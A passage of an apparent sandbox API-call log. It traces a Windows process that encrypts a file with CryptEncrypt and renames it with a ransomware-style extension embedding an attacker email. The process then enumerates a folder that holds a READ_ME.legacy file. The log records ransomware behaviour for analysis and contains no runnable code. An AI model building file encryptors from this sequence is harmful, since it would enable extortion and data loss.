nNumberOfBytesToRead=0x16c82, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x16c82, lpOverlapped=0x0) returned 1 [0105.944] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-93314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.944] WriteFile (in: hFile=0x4ec, lpBuffer=0x2f36cd8*, nNumberOfBytesToWrite=0x16c82, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f36cd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16c82, lpOverlapped=0x0) returned 1 [0105.945] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.945] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f36cd8 | out: hHeap=0x520000) returned 1 [0105.947] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16c82 [0105.947] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.947] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.948] WriteFile (in: hFile=0x4ec, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.948] WriteFile (in: hFile=0x4ec, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.949] CloseHandle (hObject=0x4ec) returned 1 [0105.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0105.949] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0105.949] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e490 | out: hHeap=0x520000) returned 1 [0105.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0105.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0105.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0105.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0105.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0105.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0105.953] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0de8 [0105.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0105.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0105.954] GetLastError () returned 0x0 [0105.954] SetLastError (dwErrCode=0x0) [0105.954] GetLastError () returned 0x0 [0105.954] SetLastError (dwErrCode=0x0) [0105.954] GetLastError () returned 0x0 [0105.954] SetLastError (dwErrCode=0x0) [0105.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0105.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0105.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0105.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0105.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0e28 [0105.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e28 | out: hHeap=0x520000) returned 1 [0105.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0105.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0105.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0105.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0105.954] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.954] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0105.954] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0105.954] GetLastError () returned 0x0 [0105.954] SetLastError (dwErrCode=0x0) [0105.955] GetLastError () returned 0x0 [0105.955] SetLastError (dwErrCode=0x0) [0105.955] GetLastError () returned 0x0 [0105.955] SetLastError (dwErrCode=0x0) [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0b28 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0b28 | out: hHeap=0x520000) returned 1 [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0105.955] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0105.955] GetLastError () returned 0x0 [0105.955] SetLastError (dwErrCode=0x0) [0105.955] GetLastError () returned 0x0 [0105.955] SetLastError (dwErrCode=0x0) [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0105.955] GetLastError () returned 0x0 [0105.955] SetLastError (dwErrCode=0x0) [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0105.955] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0105.955] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0105.955] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8da3e10, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8da3e10, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0105.956] GetLastError () returned 0x0 [0105.956] SetLastError (dwErrCode=0x0) [0105.956] GetLastError () returned 0x0 [0105.956] SetLastError (dwErrCode=0x0) [0105.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0105.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0105.956] GetLastError () returned 0x0 [0105.956] SetLastError (dwErrCode=0x0) [0105.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0105.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0105.956] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0105.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0105.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0105.956] GetLastError () returned 0x0 [0105.956] SetLastError (dwErrCode=0x0) [0105.956] GetLastError () returned 0x0 [0105.956] SetLastError (dwErrCode=0x0) [0105.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0105.956] GetLastError () returned 0x0 [0105.956] SetLastError (dwErrCode=0x0) [0105.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0105.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0105.956] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0105.956] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0105.956] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0105.957] GetLastError () returned 0x0 [0105.957] SetLastError (dwErrCode=0x0) [0105.957] GetLastError () returned 0x0 [0105.957] SetLastError (dwErrCode=0x0) [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0105.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0105.957] GetLastError () returned 0x0 [0105.957] SetLastError (dwErrCode=0x0) [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0105.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0105.957] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0105.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0105.957] GetLastError () returned 0x0 [0105.957] SetLastError (dwErrCode=0x0) [0105.957] GetLastError () returned 0x0 [0105.957] SetLastError (dwErrCode=0x0) [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0105.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0105.957] GetLastError () returned 0x0 [0105.957] SetLastError (dwErrCode=0x0) [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0105.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0105.957] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0105.957] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0105.957] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0105.958] GetLastError () returned 0x0 [0105.958] SetLastError (dwErrCode=0x0) [0105.958] GetLastError () returned 0x0 [0105.958] SetLastError (dwErrCode=0x0) [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0105.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0105.958] GetLastError () returned 0x0 [0105.958] SetLastError (dwErrCode=0x0) [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0105.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0105.958] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0105.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0105.958] GetLastError () returned 0x0 [0105.958] SetLastError (dwErrCode=0x0) [0105.958] GetLastError () returned 0x0 [0105.958] SetLastError (dwErrCode=0x0) [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0105.958] GetLastError () returned 0x0 [0105.958] SetLastError (dwErrCode=0x0) [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0105.958] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d280 | out: hHeap=0x520000) returned 1 [0105.958] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0105.958] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0105.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0105.959] GetLastError () returned 0x0 [0105.959] SetLastError (dwErrCode=0x0) [0105.959] GetLastError () returned 0x0 [0105.959] SetLastError (dwErrCode=0x0) [0105.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0105.959] GetLastError () returned 0x0 [0105.959] SetLastError (dwErrCode=0x0) [0105.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0105.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0105.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0105.959] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0105.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0105.959] GetLastError () returned 0x0 [0105.959] SetLastError (dwErrCode=0x0) [0105.959] GetLastError () returned 0x0 [0105.959] SetLastError (dwErrCode=0x0) [0105.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0105.959] GetLastError () returned 0x0 [0105.959] SetLastError (dwErrCode=0x0) [0105.959] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0105.959] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0105.960] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0105.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0105.960] GetLastError () returned 0x0 [0105.960] SetLastError (dwErrCode=0x0) [0105.960] GetLastError () returned 0x0 [0105.960] SetLastError (dwErrCode=0x0) [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0105.960] GetLastError () returned 0x0 [0105.960] SetLastError (dwErrCode=0x0) [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0105.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0105.960] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0105.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0105.960] GetLastError () returned 0x0 [0105.960] SetLastError (dwErrCode=0x0) [0105.960] GetLastError () returned 0x0 [0105.960] SetLastError (dwErrCode=0x0) [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0105.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0105.960] GetLastError () returned 0x0 [0105.960] SetLastError (dwErrCode=0x0) [0105.960] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0105.960] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0105.961] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0105.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0105.961] GetLastError () returned 0x0 [0105.961] SetLastError (dwErrCode=0x0) [0105.961] GetLastError () returned 0x0 [0105.961] SetLastError (dwErrCode=0x0) [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0105.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0105.961] GetLastError () returned 0x0 [0105.961] SetLastError (dwErrCode=0x0) [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0105.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0105.961] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0105.961] FindNextFileW (in: hFindFile=0x5a0de8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0105.961] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 